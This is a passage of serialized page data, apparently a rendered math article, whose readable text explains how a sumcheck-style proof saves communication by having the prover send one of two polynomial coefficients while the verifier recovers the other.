26,"tag":217,"props":45115,"children":45117},{"className":45116,"style":2230},[247,2152],[45118],{"type":32,"value":43083},{"type":32,"value":45120}," has only two coefficients. Since the verifier knows ",{"type":26,"tag":83,"props":45122,"children":45124},{"className":45123},[213,4703],[45125],{"type":26,"tag":217,"props":45126,"children":45128},{"className":45127},[225],[45129],{"type":26,"tag":217,"props":45130,"children":45132},{"className":45131,"ariaHidden":231},[230],[45133,45226,45319],{"type":26,"tag":217,"props":45134,"children":45136},{"className":45135},[236],[45137,45141,45198,45203,45208,45213,45217,45222],{"type":26,"tag":217,"props":45138,"children":45140},{"className":45139,"style":5514},[241],[],{"type":26,"tag":217,"props":45142,"children":45144},{"className":45143},[247],[45145,45150],{"type":26,"tag":217,"props":45146,"children":45148},{"className":45147,"style":2326},[247,2152],[45149],{"type":32,"value":10011},{"type":26,"tag":217,"props":45151,"children":45153},{"className":45152},[2160],[45154],{"type":26,"tag":217,"props":45155,"children":45157},{"className":45156},[299,300],[45158,45187],{"type":26,"tag":217,"props":45159,"children":45161},{"className":45160},[305],[45162,45182],{"type":26,"tag":217,"props":45163,"children":45165},{"className":45164,"style":2271},[310],[45166],{"type":26,"tag":217,"props":45167,"children":45168},{"style":2348},[45169,45173],{"type":26,"tag":217,"props":45170,"children":45172},{"className":45171,"style":2182},[320],[],{"type":26,"tag":217,"props":45174,"children":45176},{"className":45175},[2187,2188,2189,2190],[45177],{"type":26,"tag":217,"props":45178,"children":45180},{"className":45179},[247,2152,2190],[45181],{"type":32,"value":2290},{"type":26,"tag":217,"props":45183,"children":45185},{"className":45184},[409],[45186],{"type":32,"value":412},{"type":26,"tag":217,"props":45188,"children":45190},{"className":45189},[305],[45191],{"type":26,"tag":217,"props":45192,"children":45194},{"className":45193,"style":2210},[310],[45195],{"type":26,"tag":217,"props":45196,"children":45197},{},[],{"type":26,"tag":217,"props":45199,"children":45201},{"className":45200},[288],[45202],{"type":32,"value":1851},{"type":26,"tag":217,"props":45204,"children":45206},{"className":45205},[247],[45207],{"type":32,"value":1883},{"type":26,"tag":217,"props":45209,"children":45211},{"className":45210},[428],[45212],{"type":32,"value":1889},{"type":26,"tag":217,"props":45214,"children":45216},{"className":45215,"style":336},[258],[],{"type":26,"tag":217,"props":45218,"children":45220},{"className":45219},[341],[45221],{"type":32,"value":3540},{"type":26,"tag":217,"props":45223,"children":45225},{"className":45224,"style":336},[258],[],{"type":26,"tag":217,"props":45227,"children":45229},{"className":45228},[236],[45230,45234,45291,45296,45301,45306,45310,45315],{"type":26,"tag":217,"props":45231,"children":45233},{"className":45232,"style":5514},[241],[],{"type":26,"tag":217,"props":45235,"children":45237},{"className":45236},[247],[45238,45243],{"type":26,"tag":217,"props":45239,"children":45241},{"className":45240,"style":2326},[247,2152],[45242],{"type":32,"value":10011},{"type":26,"tag":217,"props":45244,"children":45246},{"className":45245},[2160],[45247],{"type":26,"tag":217,"props":45248,"children":45250},{"className":45249},[299,300],[45251,45280],{"type":26,"tag":217,"props":45252,"children":45254},{"className":45253},[305],[45255,45275],{"type":26,"tag":217,"props":45256,"children":45258},{"className":45257,"style":2271},[310],[45259],{"type":26,"tag":217,"props":45260,"children":45261},{"style":2348},[45262,45266],{"type":26,"tag":217,"props":45263,"children":45265},{"className":45264,"style":2182},[320],[],{"type":26,"tag":217,"props":45267,"children":45269},{"className":45268},[2187,2188,2189,2190],[45270],{"type":26,"tag":217,"props":45271,"children":45273},{"className":45272},[247,2152,2190],[45274],{"type":32,"value":2290},{"type":26,"tag":217,"props":45276,"children":45278},{"className":45277},[409],[45279],{"type":32,"value":412},{"type":26,"tag":217,"props":45281,"children":45283},{"className":45282},[305],[45284],{"type":26,"tag":217,"props":45285,"children":45287},{"className":45286,"style":2210},[310],[45288],{"type":26,"tag":217,"props":45289,"children":45290},{},[],{"type":26,"tag":217,"props":45292,"children":45294},{"className":45293},[288],[45295],{"type":32,"value":1851},{"type":26,"tag":217,"props":45297,"children":45299},{"className":45298},[247],[45300],{"type":32,"value":185},{"type":26,"tag":217,"props":45302,"children":45304},{"className":45303},[428],[45305],{"type":32,"value":1889},{"type":26,"tag":217,"props":45307,"children":45309},{"className":45308,"style":259},[258],[],{"type":26,"tag":217,"props":45311,"children":45313},{"className":45312},[264],[45314],{"type":32,"value":267},{"type":26,"tag":217,"props":45316,"children":45318},{"className":45317,"style":259},[258],[],{"type":26,"tag":217,"props":45320,"children":45322},{"className":45321},[236],[45323,45328],{"type":26,"tag":217,"props":45324,"children":45327},{"className":45325,"style":45326},[241],"height:0.8917em;vertical-align:-0.2083em;",[],{"type":26,"tag":217,"props":45329,"children":45331},{"className":45330},[247],[45332,45337],{"type":26,"tag":217,"props":45333,"children":45335},{"className":45334,"style":2680},[247,2152],[45336],{"type":32,"value":2683},{"type":26,"tag":217,"props":45338,"children":45340},{"className":45339},[2160],[45341],{"type":26,"tag":217,"props":45342,"children":45344},{"className":45343},[299,300],[45345,45388],{"type":26,"tag":217,"props":45346,"children":45348},{"className":45347},[305],[45349,45383],{"type":26,"tag":217,"props":45350,"children":45352},{"className":45351,"style":2271},[310],[45353],{"type":26,"tag":217,"props":45354,"children":45355},{"style":2703},[45356,45360],{"type":26,"tag":217,"props":45357,"children":45359},{"className":45358,"style":2182},[320],[],{"type":26,"tag":217,"props":45361,"children":45363},{"className":45362},[2187,2188,2189,2190],[45364],{"type":26,"tag":217,"props":45365,"children":45367},{"className":45366},[247,2190],[45368,45373,45378],{"type":26,"tag":217,"props":45369,"children":45371},{"className":45370},[247,2152,2190],[45372],{"type":32,"value":2290},{"type":26,"tag":217,"props":45374,"children":45376},{"className":45375},[341,2190],[45377],{"type":32,"value":3379},{"type":26,"tag":217,"props":45379,"children":45381},{"className":45380},[247,2190],[45382],{"type":32,"value":185},{"type":26,"tag":217,"props":45384,"children":45386},{"className":45385},[409],[45387],{"type":32,"value":412},{"type":26,"tag":217,"props":45389,"children":45391},{"className":45390},[305],[45392],{"type":26,"tag":217,"props":45393,"children":45396},{"className":45394,"style":45395},[310],"height:0.2083em;",[45397],{"type":26,"tag":217,"props":45398,"children":45399},{},[],{"type":32,"value":45401}," (the previous claim), we have:",{"type":26,"tag":39,"props":45403,"children":45404},{},[45405],{"type":26,"tag":83,"props":45406,"children":45408},{"className":45407},[213,4703],[45409],{"type":26,"tag":217,"props":45410,"children":45412},{"className":45411},[225],[45413],{"type":26,"tag":217,"props":45414,"children":45416},{"className":45415,"ariaHidden":231},[230],[45417,45443,45474,45505,45606,45632,45724],{"type":26,"tag":217,"props":45418,"children":45420},{"className":45419},[236],[45421,45425,45430,45434,45439],{"type":26,"tag":217,"props":45422,"children":45424},{"className":45423,"style":45081},[241],[],{"type":26,"tag":217,"props":45426,"children":45428},{"className":45427},[247,2152],[45429],{"type":32,"value":163},{"type":26,"tag":217,"props":45431,"children":45433},{"className":45432,"style":336},[258],[],{"type":26,"tag":217,"props":45435,"children":45437},{"className":45436},[341],[45438],{"type":32,"value":3540},{"type":26,"tag":217,"props":45440,"children":45442},{"className":45441,"style":336},[258],[],{"type":26,"tag":217,"props":45444,"children":45446},{"className":45445},[236],[45447,45451,45456,45461,45465,45470],{"type":26,"tag":217,"props":45448,"children":45450},{"className":45449,"style":5514},[241],[],{"type":26,"tag":217,"props":45452,"children":45454},{"className":45453},[288],[45455],{"type":32,"value":1851},{"type":26,"tag":217,"props":45457,"children":45459},{"className":45458},[247,2152],[45460],{"type":32,"value":163},{"type":26,"tag":217,"props":45462,"children":45464},{"className":45463,"style":336},[258],[],{"type":26,"tag":217,"props":45466,"children":45468},{"className":45467},[341],[45469],{"type":32,"value":3540},{"type":26,"tag":217,"props":45471,"children":45473},{"className":45472,"style":336},[258],[],{"type":26,"tag":217,"props":45475,"children":45477},{"className":45476},[236],[45478,45482,45487,45492,45496,45501],{"type":26,"tag":217,"props":45479,"children":45481},{"className":45480,"style":5514},[241],[],{"type":26,"tag":217,"props":45483,"children":45485},{"className":45484},[247,2152],[45486],{"type":32,"value":14783},{"type":26,"tag":217,"props":45488,"children":45490},{"className":45489},[428],[45491],{"type":32,"value":1889},{"type":26,"tag":217,"props":45493,"children":45495},{"className":45494,"style":259},[258],[],{"type":26,"tag":217,"props":45497,"children":45499},{"className":45498},[264],[45500],{"type":32,"value":267},{"type":26,"tag":217,"props":45502,"children":45504},{"className":45503,"style":259},[258],[],{"type":26,"tag":217,"props":45506,"children":45508},{"className":45507},[236],[45509,45513,45584,45588,45592,45598,45602],{"type":26,"tag":217,"props":45510,"children":45512},{"className":45511,"style":45326},[241],[],{"type":26,"tag":217,"props":45514,"children":45516},{"className":45515},[247],[45517,45522],{"type":26,"tag":217,"props":45518,"children":45520},{"className":45519,"style":2680},[247,2152],[45521],{"type":32,"value":2683},{"type":26,"tag":217,"props":45523,"children":45525},{"className":45524},[2160],[45526],{"type":26,"tag":217,"props":45527,"children":45529},{"className":45528},[299,300],[45530,45573],{"type":26,"tag":217,"props":45531,"children":45533},{"className":45532},[305],[45534,45568],{"type":26,"tag":217,"props":45535,"children":45537},{"className":45536,"style":2271},[310],[45538],{"type":26,"tag":217,"props":45539,"children":45540},{"style":2703},[45541,45545],{"type":26,"tag":217,"props":45542,"children":45544},{"className":45543,"style":2182},[320],[],{"type":26,"tag":217,"props":45546,"children":45548},{"className":45547},[2187,2188,2189,2190],[45549],{"type":26,"tag":217,"props":45550,"children":45552},{"className":45551},[247,2190],[45553,45558,45563],{"type":26,"tag":217,"props":45554,"children":45556},{"className":45555},[247,2152,2190],[45557],{"type":32,"value":2290},{"type":26,"tag":217,"props":45559,"children":45561},{"className":45560},[341,2190],[45562],{"type":32,"value":3379},{"type":26,"tag":217,"props":45564,"children":45566},{"className":45565},[247,2190],[45567],{"type":32,"value":185},{"type":26,"tag":217,"props":45569,"children":45571},{"className":45570},[409],[45572],{"type":32,"value":412},{"type":26,"tag":217,"props":45574,"children":45576},{"className":45575},[305],[45577],{"type":26,"tag":217,"props":45578,"children":45580},{"className":45579,"style":45395},[310],[45581],{"type":26,"tag":217,"props":45582,"children":45583},{},[],{"type":26,"tag":217,"props":45585,"children":45587},{"className":45586,"style":259},[258],[],{"type":26,"tag":217,"props":45589,"children":45591},{"className":45590,"style":259},[258],[],{"type":26,"tag":217,"props":45593,"children":45595},{"className":45594},[264],[45596],{"type":32,"value":45597},"⟹",{"type":26,"tag":217,"props":45599,"children":45601},{"className":45600,"style":259},[258],[],{"type":26,"tag":217,"props":45603,"children":45605},{"className":45604,"style":259},[258],[],{"type":26,"tag":217,"props":45607,"children":45609},{"className":45608},[236],[45610,45614,45619,45623,45628],{"type":26,"tag":217,"props":45611,"children":45613},{"className":45612,"style":43002},[241],[],{"type":26,"tag":217,"props":45615,"children":45617},{"className":45616},[247,2152],[45618],{"type":32,"value":14783},{"type":26,"tag":217,"props":45620,"children":45622},{"className":45621,"style":259},[258],[],{"type":26,"tag":217,"props":45624,"children":45626},{"className":45625},[264],[45627],{"type":32,"value":267},{"type":26,"tag":217,"props":45629,"children":45631},{"className":45630,"style":259},[258],[],{"type":26,"tag":217,"props":45633,"children":45635},{"className":45634},[236],[45636,45640,45711,45715,45720],{"type":26,"tag":217,"props":45637,"children":45639},{"className":45638,"style":45326},[241],[],{"type":26,"tag":217,"props":45641,"children":45643},{"className":45642},[247],[45644,45649],{"type":26,"tag":217,"props":45645,"children":45647},{"className":45646,"style":2680},[247,2152],[45648],{"type":32,"value":2683},{"type":26,"tag":217,"props":45650,"children":45652},{"className":45651},[2160],[45653],{"type":26,"tag":217,"props":45654,"children":45656},{"className":45655},[299,300],[45657,45700],{"type":26,"tag":217,"props":45658,"children":45660},{"className":45659},[305],[45661,45695],{"type":26,"tag":217,"props":45662,"children":45664},{"className":45663,"style":2271},[310],[45665],{"type":26,"tag":217,"props":45666,"children":45667},{"style":2703},[45668,45672],{"type":26,"tag":217,"props":45669,"children":45671},{"className":45670,"style":2182},[320],[],{"type":26,"tag":217,"props":45673,"children":45675},{"className":45674},[2187,2188,2189,2190],[45676],{"type":26,"tag":217,"props":45677,"children":45679},{"className":45678},[247,2190],[45680,45685,45690],{"type":26,"tag":217,"props":45681,"children":45683},{"className":45682},[247,2152,2190],[45684],{"type":32,"value":2290},{"type":26,"tag":217,"props":45686,"children":45688},{"className":45687},[341,2190],[45689],{"type":32,"value":3379},{"type":26,"tag":217,"props":45691,"children":45693},{"className":45692},[247,2190],[45694],{"type":32,"value":185},{"type":26,"tag":217,"props":45696,"children":45698},{"className":45697},[409],[45699],{"type":32,"value":412},{"type":26,"tag":217,"props":45701,"children":45703},{"className":45702},[305],[45704],{"type":26,"tag":217,"props":45705,"children":45707},{"className":45706,"style":45395},[310],[45708],{"type":26,"tag":217,"props":45709,"children":45710},{},[],{"type":26,"tag":217,"props":45712,"children":45714},{"className":45713,"style":336},[258],[],{"type":26,"tag":217,"props":45716,"children":45718},{"className":45717},[341],[45719],{"type":32,"value":3379},{"type":26,"tag":217,"props":45721,"children":45723},{"className":45722,"style":336},[258],[],{"type":26,"tag":217,"props":45725,"children":45727},{"className":45726},[236],[45728,45732,45737],{"type":26,"tag":217,"props":45729,"children":45731},{"className":45730,"style":5294},[241],[],{"type":26,"tag":217,"props":45733,"children":45735},{"className":45734},[247],[45736],{"type":32,"value":332},{"type":26,"tag":217,"props":45738,"children":45740},{"className":45739},[247,2152],[45741],{"type":32,"value":163},{"type":26,"tag":39,"props":45743,"children":45744},{},[45745,45747,45865,45867,45892],{"type":32,"value":45746},"So the prover only sends ",{"type":26,"tag":83,"props":45748,"children":45750},{"className":45749},[213,4703],[45751],{"type":26,"tag":217,"props":45752,"children":45754},{"className":45753},[225],[45755],{"type":26,"tag":217,"props":45756,"children":45758},{"className":45757,"ariaHidden":231},[230],[45759,45785],{"type":26,"tag":217,"props":45760,"children":45762},{"className":45761},[236],[45763,45767,45772,45776,45781],{"type":26,"tag":217,"props":45764,"children":45766},{"className":45765,"style":6316},[241],[],{"type":26,"tag":217,"props":45768,"children":45770},{"className":45769},[247,2152],[45771],{"type":32,"value":163},{"type":26,"tag":217,"props":45773,"children":45775},{"className":45774,"style":259},[258],[],{"type":26,"tag":217,"props":45777,"children":45779},{"className":45778},[264],[45780],{"type":32,"value":267},{"type":26,"tag":217,"props":45782,"children":45784},{"className":45783,"style":259},[258],[],{"type":26,"tag":217,"props":45786,"children":45788},{"className":45787},[236],[45789,45793,45850,45855,45860],{"type":26,"tag":217,"props":45790,"children":45792},{"className":45791,"style":5514},[241],[],{"type":26,"tag":217,"props":45794,"children":45796},{"className":45795},[247],[45797,45802],{"type":26,"tag":217,"props":45798,"children":45800},{"className":45799,"style":2326},[247,2152],[45801],{"type":32,"value":10011},{"type":26,"tag":217,"props":45803,"children":45805},{"className":45804},[2160],[45806],{"type":26,"tag":217,"props":45807,"children":45809},{"className":45808},[299,300],[45810,45839],{"type":26,"tag":217,"props":45811,"children":45813},{"className":45812},[305],[45814,45834],{"type":26,"tag":217,"props":45815,"children":45817},{"className":45816,"style":2271},[310],[45818],{"type":26,"tag":217,"props":45819,"children":45820},{"style":2348},[45821,45825],{"type":26,"tag":217,"props":45822,"children":45824},{"className":45823,"style":2182},[320],[],{"type":26,"tag":217,"props":45826,"children":45828},{"className":45827},[2187,2188,2189,2190],[45829],{"type":26,"tag":217,"props":45830,"children":45832},{"className":45831},[247,2152,2190],[45833],{"type":32,"value":2290},{"type":26,"tag":217,"props":45835,"children":45837},{"className":45836},[409],[45838],{"type":32,"value":412},{"type":26,"tag":217,"props":45840,"children":45842},{"className":45841},[305],[45843],{"type":26,"tag":217,"props":45844,"children":45846},{"className":45845,"style":2210},[310],[45847],{"type":26,"tag":217,"props":45848,"children":45849},{},[],{"type":26,"tag":217,"props":45851,"children":45853},{"className":45852},[288],[45854],{"type":32,"value":1851},{"type":26,"tag":217,"props":45856,"children":45858},{"className":45857},[247],[45859],{"type":32,"value":1883},{"type":26,"tag":217,"props":45861,"children":45863},{"className":45862},[428],[45864],{"type":32,"value":1889},{"type":32,"value":45866},", and the verifier recovers ",{"type":26,"tag":83,"props":45868,"children":45870},{"className":45869},[213,4703],[45871],{"type":26,"tag":217,"props":45872,"children":45874},{"className":45873},[225],[45875],{"type":26,"tag":217,"props":45876,"children":45878},{"className":45877,"ariaHidden":231},[230],[45879],{"type":26,"tag":217,"props":45880,"children":45882},{"className":45881},[236],[45883,45887],{"type":26,"tag":217,"props":45884,"children":45886},{"className":45885,"style":43002},[241],[],{"type":26,"tag":217,"props":45888,"children":45890},{"className":45889},[247,2152],[45891],{"type":32,"value":14783},{"type":32,"value":45893},". This saves 50% on communication costs.",{"type":26,"tag":39,"props":45895,"children":45896},{},[45897],{"type":32,"value":45898},"The next claim in the chain is",{"type":26,"tag":39,"props":45900,"children":45901},{},[45902],{"type":26,"tag":83,"props":45903,"children":45905},{"className":45904},[213,4703],[45906],{"type":26,"tag":217,"props":45907,"children":45909},{"className":45908},[225],[45910],{"type":26,"tag":217,"props":45911,"children":45913},{"className":45912,"ariaHidden":231},[230],[45914,45992,46137,46163,46189,46267,46293,46390,46426,46504,46540,46628,46720],{"type":26,"tag":217,"props":45915,"children":45917},{"className":45916},[236],[45918,45922,45979,45983,45988],{"type":26,"tag":217,"props":45919,"children":45921},{"className":45920,"style":4720},[241],[],{"type":26,"tag":217,"props":45923,"children":45925},{"className":45924},[247],[45926,45931],{"type":26,"tag":217,"props":45927,"children":45929},{"className":45928,"style":2680},[247,2152],[45930],{"type":32,"value":2683},{"type":26,"tag":217,"props":45932,"children":45934},{"className":45933},[2160],[45935],{"type":26,"tag":217,"props":45936,"children":45938},{"className":45937},[299,300],[45939,45968],{"type":26,"tag":217,"props":45940,"children":45942},{"className":45941},[305],[45943,45963],{"type":26,"tag":217,"props":45944,"children":45946},{"className":45945,"style":2271},[310],[45947],{"type":26,"tag":217,"props":45948,"children":45949},{"style":2703},[45950,45954],{"type":26,"tag":217,"props":45951,"children":45953},{"className":45952,"style":2182},[320],[],{"type":26,"tag":217,"props":45955,"children":45957},{"className":45956},[2187,2188,2189,2190],[45958],{"type":26,"tag":217,"props":45959,"children":45961},{"className":45960},[247,2152,2190],[45962],{"type":32,"value":2290},{"type":26,"tag":217,"props":45964,"children":45966},{"className":45965},[409],[45967],{"type":32,"value":412},{"type":26,"tag":217,"props":45969,"children":45971},{"className":45970},[305],[45972],{"type":26,"tag":217,"props":45973,"children":45975},{"className":45974,"style":2210},[310],[45976],{"type":26,"tag":217,"props":45977,"children":45978},{},[],{"type":26,"tag":217,"props":45980,"children":45982},{"className":45981,"style":259},[258],[],{"type":26,"tag":217,"props":45984,"children":45986},{"className":45985},[264],[45987],{"type":32,"value":267},{"type":26,"tag":217,"props":45989,"children":45991},{"className":45990,"style":259},[258],[],{"type":26,"tag":217,"props":45993,"children":45995},{"className":45994},[236],[45996,46000,46057,46062,46119,46124,46128,46133],{"type":26,"tag":217,"props":45997,"children":45999},{"className":45998,"style":5514},[241],[],{"type":26,"tag":217,"props":46001,"children":46003},{"className":46002},[247],[46004,46009],{"type":26,"tag":217,"props":46005,"children":46007},{"className":46006,"style":2326},[247,2152],[46008],{"type":32,"value":10011},{"type":26,"tag":217,"props":46010,"children":46012},{"className":46011},[2160],[46013],{"type":26,"tag":217,"props":46014,"children":46016},{"className":46015},[299,300],[46017,46046],{"type":26,"tag":217,"props":46018,"children":46020},{"className":46019},[305],[46021,46041],{"type":26,"tag":217,"props":46022,"children":46024},{"className":46023,"style":2271},[310],[46025],{"type":26,"tag":217,"props":46026,"children":46027},{"style":2348},[46028,46032],{"type":26,"tag":217,"props":46029,"children":46031},{"className":46030,"style":2182},[320],[],{"type":26,"tag":217,"props":46033,"children":46035},{"className":46034},[2187,2188,2189,2190],[46036],{"type":26,"tag":217,"props":46037,"children":46039},{"className":46038},[247,2152,2190],[46040],{"type":32,"value":2290},{"type":26,"tag":217,"props":46042,"children":46044},{"className":46043},[409],[46045],{"type":32,"value":412},{"type":26,"tag":217,"props":46047,"children":46049},{"className":46048},[305],[46050],{"type":26,"tag":217,"props":46051,"children":46053},{"className":46052,"style":2210},[310],[46054],{"type":26,"tag":217,"props":46055,"children":46056},{},[],{"type":26,"tag":217,"props":46058,"children":46060},{"className":46059},[288],[46061],{"type":32,"value":1851},{"type":26,"tag":217,"props":46063,"children":46065},{"className":46064},[247],[46066,46071],{"type":26,"tag":217,"props":46067,"children":46069},{"className":46068,"style":2753},[247,2152],[46070],{"type":32,"value":19414},{"type":26,"tag":217,"props":46072,"children":46074},{"className":46073},[2160],[46075],{"type":26,"tag":217,"props":46076,"children":46078},{"className":46077},[299,300],[46079,46108],{"type":26,"tag":217,"props":46080,"children":46082},{"className":46081},[305],[46083,46103],{"type":26,"tag":217,"props":46084,"children":46086},{"className":46085,"style":2271},[310],[46087],{"type":26,"tag":217,"props":46088,"children":46089},{"style":2775},[46090,46094],{"type":26,"tag":217,"props":46091,"children":46093},{"className":46092,"style":2182},[320],[],{"type":26,"tag":217,"props":46095,"children":46097},{"className":46096},[2187,2188,2189,2190],[46098],{"type":26,"tag":217,"props":46099,"children":46101},{"className":46100},[247,2152,2190],[46102],{"type":32,"value":2290},{"type":26,"tag":217,"props":46104,"children":46106},{"className":46105},[409],[46107],{"type":32,"value":412},{"type":26,"tag":217,"props":46109,"children":46111},{"className":46110},[305],[46112],{"type":26,"tag":217,"props":46113,"children":46115},{"className":46114,"style":2210},[310],[46116],{"type":26,"tag":217,"props":46117,"children":46118},{},[],{"type":26,"tag":217,"props":46120,"children":46122},{"className":46121},[428],[46123],{"type":32,"value":1889},{"type":26,"tag":217,"props":46125,"children":46127},{"className":46126,"style":259},[258],[],{"type":26,"tag":217,"props":46129,"children":46131},{"className":46130},[264],[46132],{"type":32,"value":267},{"type":26,"tag":217,"props":46134,"children":46136},{"className":46135,"style":259},[258],[],{"type":26,"tag":217,"props":46138,"children":46140},{"className":46139},[236],[46141,46145,46150,46154,46159],{"type":26,"tag":217,"props":46142,"children":46144},{"className":46143,"style":45081},[241],[],{"type":26,"tag":217,"props":46146,"children":46148},{"className":46147},[247,2152],[46149],{"type":32,"value":163},{"type":26,"tag":217,"props":46151,"children":46153},{"className":46152,"style":336},[258],[],{"type":26,"tag":217,"props":46155,"children":46157},{"className":46156},[341],[46158],{"type":32,"value":3540},{"type":26,"tag":217,"props":46160,"children":46162},{"className":46161,"style":336},[258],[],{"type":26,"tag":217,"props":46164,"children":46166},{"className":46165},[236],[46167,46171,46176,46180,46185],{"type":26,"tag":217,"props":46168,"children":46170},{"className":46169,"style":43002},[241],[],{"type":26,"tag":217,"props":46172,"children":46174},{"className":46173},[247,2152],[46175],{"type":32,"value":14783},{"type":26,"tag":217,"props":46177,"children":46179},{"className":46178,"style":336},[258],[],{"type":26,"tag":217,"props":46181,"children":46183},{"className":46182},[341],[46184],{"type":32,"value":344},{"type":26,"tag":217,"props":46186,"children":46188},{"className":46187,"style":336},[258],[],{"type":26,"tag":217,"props":46190,"children":46192},{"className":46191},[236],[46193,46197,46254,46258,46263],{"type":26,"tag":217,"props":46194,"children":46196},{"className":46195,"style":4828},[241],[],{"type":26,"tag":217,"props":46198,"children":46200},{"className":46199},[247],[46201,46206],{"type":26,"tag":217,"props":46202,"children":46204},{"className":46203,"style":2753},[247,2152],[46205],{"type":32,"value":19414},{"type":26,"tag":217,"props":46207,"children":46209},{"className":46208},[2160],[46210],{"type":26,"tag":217,"props":46211,"children":46213},{"className":46212},[299,300],[46214,46243],{"type":26,"tag":217,"props":46215,"children":46217},{"className":46216},[305],[46218,46238],{"type":26,"tag":217,"props":46219,"children":46221},{"className":46220,"style":2271},[310],[46222],{"type":26,"tag":217,"props":46223,"children":46224},{"style":2775},[46225,46229],{"type":26,"tag":217,"props":46226,"children":46228},{"className":46227,"style":2182},[320],[],{"type":26,"tag":217,"props":46230,"children":46232},{"className":46231},[2187,2188,2189,2190],[46233],{"type":26,"tag":217,"props":46234,"children":46236},{"className":46235},[247,2152,2190],[46237],{"type":32,"value":2290},{"type":26,"tag":217,"props":46239,"children":46241},{"className":46240},[409],[46242],{"type":32,"value":412},{"type":26,"tag":217,"props":46244,"children":46246},{"className":46245},[305],[46247],{"type":26,"tag":217,"props":46248,"children":46250},{"className":46249,"style":2210},[310],[46251],{"type":26,"tag":217,"props":46252,"children":46253},{},[],{"type":26,"tag":217,"props":46255,"children":46257},{"className":46256,"style":259},[258],[],{"type":26,"tag":217,"props":46259,"children":46261},{"className":46260},[264],[46262],{"type":32,"value":267},{"type":26,"tag":217,"props":46264,"children":46266},{"className":46265,"style":259},[258],[],{"type":26,"tag":217,"props":46268,"children":46270},{"className":46269},[236],[46271,46275,46280,46284,46289],{"type":26,"tag":217,"props":46272,"children":46274},{"className":46273,"style":45081},[241],[],{"type":26,"tag":217,"props":46276,"children":46278},{"className":46277},[247,2152],[46279],{"type":32,"value":163},{"type":26,"tag":217,"props":46281,"children":46283},{"className":46282,"style":336},[258],[],{"type":26,"tag":217,"props":46285,"children":46287},{"className":46286},[341],[46288],{"type":32,"value":3540},{"type":26,"tag":217,"props":46290,"children":46292},{"className":46291,"style":336},[258],[],{"type":26,"tag":217,"props":46294,"children":46296},{"className":46295},[236],[46297,46301,46306,46377,46381,46386],{"type":26,"tag":217,"props":46298,"children":46300},{"className":46299,"style":5514},[241],[],{"type":26,"tag":217,"props":46302,"children":46304},{"className":46303},[288],[46305],{"type":32,"value":1851},{"type":26,"tag":217,"props":46307,"children":46309},{"className":46308},[247],[46310,46315],{"type":26,"tag":217,"props":46311,"children":46313},{"className":46312,"style":2680},[247,2152],[46314],{"type":32,"value":2683},{"type":26,"tag":217,"props":46316,"children":46318},{"className":46317},[2160],[46319],{"type":26,"tag":217,"props":46320,"children":46322},{"className":46321},[299,300],[46323,46366],{"type":26,"tag":217,"props":46324,"children":46326},{"className":46325},[305],[46327,46361],{"type":26,"tag":217,"props":46328,"children":46330},{"className":46329,"style":2271},[310],[46331],{"type":26,"tag":217,"props":46332,"children":46333},{"style":2703},[46334,46338],{"type":26,"tag":217,"props":46335,"children":46337},{"className":46336,"style":2182},[320],[],{"type":26,"tag":217,"props":46339,"children":46341},{"className":46340},[2187,2188,2189,2190],[46342],{"type":26,"tag":217,"props":46343,"children":46345},{"className":46344},[247,2190],[46346,46351,46356],{"type":26,"tag":217,"props":46347,"children":46349},{"className":46348},[247,2152,2190],[46350],{"type":32,"value":2290},{"type":26,"tag":217,"props":46352,"children":46354},{"className":46353},[341,2190],[46355],{"type":32,"value":3379},{"type":26,"tag":217,"props":46357,"children":46359},{"className":46358},[247,2190],[46360],{"type":32,"value":185},{"type":26,"tag":217,"props":46362,"children":46364},{"className":46363},[409],[46365],{"type":32,"value":412},{"type":26,"tag":217,"props":46367,"children":46369},{"className":46368},[305],[46370],{"type":26,"tag":217,"props":46371,"children":46373},{"className":46372,"style":45395},[310],[46374],{"type":26,"tag":217,"props":46375,"children":46376},{},[],{"type":26,"tag":217,"props":46378,"children":46380},{"className":46379,"style":336},[258],[],{"type":26,"tag":217,"props":46382,"children":46384},{"className":46383},[341],[46385],{"type":32,"value":3379},{"type":26,"tag":217,"props":46387,"children":46389},{"className":46388,"style":336},[258],[],{"type":26,"tag":217,"props":46391,"children":46393},{"className":46392},[236],[46394,46398,46403,46408,46413,46417,46422],{"type":26,"tag":217,"props":46395,"children":46397},{"className":46396,"style":5514},[241],[],{"type":26,"tag":217,"props":46399,"children":46401},{"className":46400},[247],[46402],{"type":32,"value":332},{"type":26,"tag":217,"props":46404,"children":46406},{"className":46405},[247,2152],[46407],{"type":32,"value":163},{"type":26,"tag":217,"props":46409,"children":46411},{"className":46410},[428],[46412],{"type":32,"value":1889},{"type":26,"tag":217,"props":46414,"children":46416},{"className":46415,"style":336},[258],[],{"type":26,"tag":217,"props":46418,"children":46420},{"className":46419},[341],[46421],{"type":32,"value":344},{"type":26,"tag":217,"props":46423,"children":46425},{"className":46424,"style":336},[258],[],{"type":26,"tag":217,"props":46427,"children":46429},{"className":46428},[236],[46430,46434,46491,46495,46500],{"type":26,"tag":217,"props":46431,"children":46433},{"className":46432,"style":4828},[241],[],{"type":26,"tag":217,"props":46435,"children":46437},{"className":46436},[247],[46438,46443],{"type":26,"tag":217,"props":46439,"children":46441},{"className":46440,"style":2753},[247,2152],[46442],{"type":32,"value":19414},{"type":26,"tag":217,"props":46444,"children":46446},{"className":46445},[2160],[46447],{"type":26,"tag":217,"props":46448,"children":46450},{"className":46449},[299,300],[46451,46480],{"type":26,"tag":217,"props":46452,"children":46454},{"className":46453},[305],[46455,46475],{"type":26,"tag":217,"props":46456,"children":46458},{"className":46457,"style":2271},[310],[46459],{"type":26,"tag":217,"props":46460,"children":46461},{"style":2775},[46462,46466],{"type":26,"tag":217,"props":46463,"children":46465},{"className":46464,"style":2182},[320],[],{"type":26,"tag":217,"props":46467,"children":46469},{"className":46468},[2187,2188,2189,2190],[46470],{"type":26,"tag":217,"props":46471,"children":46473},{"className":46472},[247,2152,2190],[46474],{"type":32,"value":2290},{"type":26,"tag":217,"props":46476,"children":46478},{"className":46477},[409],[46479],{"type":32,"value":412},{"type":26,"tag":217,"props":46481,"children":46483},{"className":46482},[305],[46484],{"type":26,"tag":217,"props":46485,"children":46487},{"className":46486,"style":2210},[310],[46488],{"type":26,"tag":217,"props":46489,"children":46490},{},[],{"type":26,"tag":217,"props":46492,"children":46494},{"className":46493,"style":259},[258],[],{"type":26,"tag":217,"props":46496,"children":46498},{"className":46497},[264],[46499],{"type":32,"value":267},{"type":26,"tag":217,"props":46501,"children":46503},{"className":46502,"style":259},[258],[],{"type":26,"tag":217,"props":46505,"children":46507},{"className":46506},[236],[46508,46512,46517,46522,46527,46531,46536],{"type":26,"tag":217,"props":46509,"children":46511},{